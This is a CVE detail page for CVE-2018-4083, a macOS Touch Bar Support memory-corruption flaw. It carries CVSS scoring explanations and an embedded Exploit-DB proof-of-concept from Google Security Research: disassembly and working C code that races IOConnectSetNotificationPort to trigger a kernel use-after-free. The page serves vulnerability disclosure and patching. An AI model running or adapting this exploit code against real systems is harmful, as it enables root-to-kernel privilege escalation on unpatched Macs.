CVE-2018-4083 : Detail

CVE-2018-4083

7.8
/
High
Overflow
0.78%V4
Local
2018-04-03
04h00 +00:00
2018-04-03
07h57 +00:00
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

An issue was discovered in certain Apple products. macOS before 10.13.3 is affected. The issue involves the "Touch Bar Support" component. It allows attackers to execute arbitrary code in a privileged context or cause a denial of service (memory corruption) via a crafted app.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-119 Improper Restriction of Operations within the Bounds of a Memory Buffer
The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data.

Metrics

Metrics Score Severity CVSS Vector Source
V3.0 7.8 HIGH CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Local

A vulnerability exploitable with Local access means that the vulnerable component is not bound to the network stack, and the attacker's path is via read/write/execute capabilities. In some cases, the attacker may be logged in locally in order to exploit the vulnerability, otherwise, she may rely on User Interaction to execute a malicious file.

Attack Complexity

This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack.

User Interaction

This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.

Required

Successful exploitation of this vulnerability requires a user to take some action before the vulnerability can be exploited. For example, a successful exploit may only be possible during the installation of an application by a system administrator.

Base: Scope Metrics

An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.

Scope

Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.

Unchanged

An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same.

Base: Impact Metrics

The Impact metrics refer to the properties of the impacted component.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.

Environmental Metrics

nvd@nist.gov
V2 9.3 AV:N/AC:M/Au:N/C:C/I:C/A:C nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 44007

Publication date : 2018-02-08 23h00 +00:00
Author : Google Security Research
EDB Verified : Yes

/* AppleEmbeddedOSSupportHost.kext is presumably involved in the communication with the OS running on the touch bar on new MBP models. Here's the userclient's registerNotificationPort method: __text:0000000000002DE4 ; AppleEmbeddedOSSupportHostClient::registerNotificationPort(ipc_port *, unsigned int, unsigned int) __text:0000000000002DE4 push rbp __text:0000000000002DE5 mov rbp, rsp __text:0000000000002DE8 push r14 __text:0000000000002DEA push rbx __text:0000000000002DEB mov r14, rsi __text:0000000000002DEE mov rbx, rdi __text:0000000000002DF1 mov rdi, [rbx+0E8h] __text:0000000000002DF8 test rdi, rdi __text:0000000000002DFB jz short loc_2E0D __text:0000000000002DFD call __ZN12IOUserClient23releaseNotificationPortEP8ipc_port ; IOUserClient::releaseNotificationPort(ipc_port *) __text:0000000000002E02 mov qword ptr [rbx+0E8h], 0 __text:0000000000002E0D __text:0000000000002E0D loc_2E0D: ; CODE XREF: AppleEmbeddedOSSupportHostClient::registerNotificationPort(ipc_port *,uint,uint)+17j __text:0000000000002E0D mov [rbx+0E8h], r14 __text:0000000000002E14 xor eax, eax __text:0000000000002E16 pop rbx __text:0000000000002E17 pop r14 __text:0000000000002E19 pop rbp __text:0000000000002E1A retn The IOUserClient superclass doesn't implement any locking for this method; it's up to the user client itself to correctly prevent dangerous concurrent accesses. By calling registerNotificationPort in two threads in parallel we can cause a AppleEmbeddedOSSupportHostClient to drop two references on a port when it only holds one. Note that AppleEmbeddedOSSupportHostClient is only reachable by root so this is a root -> kernel priv esc. Repro like this: while true; do ./embedded_host; done Please test on a machine which has a touchbar! > kextstat | grep AppleEmbeddedOSSupport should display something if it does. */ // ianbeer #if 0 MacOS kernel uaf due to lack of locking in AppleEmbeddedOSSupportHostClient::registerNotificationPort AppleEmbeddedOSSupportHost.kext is presumably involved in the communication with the OS running on the touch bar on new MBP models. Here's the userclient's registerNotificationPort method: __text:0000000000002DE4 ; AppleEmbeddedOSSupportHostClient::registerNotificationPort(ipc_port *, unsigned int, unsigned int) __text:0000000000002DE4 push rbp __text:0000000000002DE5 mov rbp, rsp __text:0000000000002DE8 push r14 __text:0000000000002DEA push rbx __text:0000000000002DEB mov r14, rsi __text:0000000000002DEE mov rbx, rdi __text:0000000000002DF1 mov rdi, [rbx+0E8h] __text:0000000000002DF8 test rdi, rdi __text:0000000000002DFB jz short loc_2E0D __text:0000000000002DFD call __ZN12IOUserClient23releaseNotificationPortEP8ipc_port ; IOUserClient::releaseNotificationPort(ipc_port *) __text:0000000000002E02 mov qword ptr [rbx+0E8h], 0 __text:0000000000002E0D __text:0000000000002E0D loc_2E0D: ; CODE XREF: AppleEmbeddedOSSupportHostClient::registerNotificationPort(ipc_port *,uint,uint)+17j __text:0000000000002E0D mov [rbx+0E8h], r14 __text:0000000000002E14 xor eax, eax __text:0000000000002E16 pop rbx __text:0000000000002E17 pop r14 __text:0000000000002E19 pop rbp __text:0000000000002E1A retn The IOUserClient superclass doesn't implement any locking for this method; it's up to the user client itself to correctly prevent dangerous concurrent accesses. By calling registerNotificationPort in two threads in parallel we can cause a AppleEmbeddedOSSupportHostClient to drop two references on a port when it only holds one. Note that AppleEmbeddedOSSupportHostClient is only reachable by root so this is a root -> kernel priv esc. Repro like this: while true; do ./embedded_host; done Please test on a machine which has a touchbar! > kextstat | grep AppleEmbeddedOSSupport should display something if it does. #endif #include <stdio.h> #include <stdlib.h> #include <pthread.h> #include <mach/mach.h> #include <mach/host_priv.h> #include <IOKit/IOKitLib.h> mach_port_t q() { mach_port_t p = MACH_PORT_NULL; mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &p); mach_port_insert_right(mach_task_self(), p, p, MACH_MSG_TYPE_MAKE_SEND); return p; } volatile int start = 0; volatile mach_port_t conn; void* racer(void* arg) { while(!start){;} IOConnectSetNotificationPort(conn, 0, MACH_PORT_NULL, 0); return NULL; } int main() { kern_return_t err; io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("AppleEmbeddedOSSupportHost")); if (service == IO_OBJECT_NULL){ printf("unable to find service\n"); return 0; } conn = MACH_PORT_NULL; err = IOServiceOpen(service, mach_task_self(), 0, &conn); if (err != KERN_SUCCESS){ printf("unable to get user client connection\n"); return 0; } mach_port_t p = q(); IOConnectSetNotificationPort(conn, 0, p, 0); //mach_port_destroy(mach_task_self(), p); // kernel holds the only ref int n_threads = 2; pthread_t threads[n_threads]; for(uint32_t i = 0; i < n_threads; i++) { pthread_create(&threads[i], NULL, racer, NULL); } start = 1; for(uint32_t i = 0; i < n_threads; i++) { pthread_join(threads[i], NULL); } return 0; }

Products Mentioned

Configuraton 0

Apple>>Mac_os_x >> Version To (excluding) 10.13.3

References

https://support.apple.com/HT208465
Tags : x_refsource_CONFIRM
https://www.exploit-db.com/exploits/44007/
Tags : exploit, x_refsource_EXPLOIT-DB